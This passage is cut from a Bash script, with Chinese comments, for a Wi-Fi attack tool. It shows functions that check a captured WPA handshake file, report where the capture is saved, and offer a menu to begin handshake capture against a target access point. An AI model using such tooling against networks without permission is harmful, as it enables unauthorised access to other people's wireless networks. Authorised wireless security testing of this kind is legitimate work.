exit_code=$?
if [ "${exit_code}" -eq 0 ]; then
echo -e "\033[32mThe target handshake \033[34m[${result_dir}/${target_ap_name}-${mac_id//:/-}-01.cap]\033[0m \033[32mcheck sucessfully \033[0m"
return 0
else
echo -e "\033[31mThe target handshake \033[34m[${result_dir}/${target_ap_name}-${mac_id//:/-}-01.cap]\033[0m \033[31mcheck faild \033[0m"
return 1
fi
fi
}
#######################################
# 输出握手包保存路径信息
# Globals:
# none
# Arguments:
# none
# Outputs:
# none
# Returns:
# none
#######################################
function display_cap_location() {
if [ -z "${target_ap_name}" ] || [ "${target_ap_name}" == "" ]; then
echo -e "\033[36mThe handshake cap is saved in [${result_dir}/${mac_id//:/-}-01.cap] \033[0m"
else
echo -e "\033[36mThe handshake cap is saved in [${result_dir}/${target_ap_name}-${mac_id//:/-}-01.cap] \033[0m"
fi
}
#######################################
# 抓包信息确认菜单,开启抓包
# Globals:
# none
# Arguments:
# none
# Outputs:
# none
# Returns:
# none
#######################################
function start_exec_handshake() {
local you_zl
clear
echo -e "\033[35m当前网卡:\033[0m${wlan_card:-无} \033[35m当前模式:\033[0m${attack_mode:-无} \033[35m扫描频段:\033[0m${attack_band:-无}"
echo -e "\033[36m--------------------------------------------------------------------\033[0m"
echo -e " \033[36m抓包信息确认\033[0m "
echo -e "\033[36m--------------------------------------------------------------------\033[0m"
echo -e "\033[32m1. 返回上一级\033[0m"
echo -e "--------"
echo -e "\033[32m2. 开始启动抓包\033[0m"
echo -e "\033[36m--------------------------------------------------------------------\033[0m"
read -rp "Please select: " you_zl
case "${you_zl}" in
1)
hack_menu
;;
2)
handshake_bga "${scan_band}"
;;
*)
start_exec_handshake
;;
esac
}
#######################################
# 攻击频段选择菜单,攻击入口
# Globals:
# ${attack_band}、${scan_band}
# Arguments:
# none
# Outputs:
# none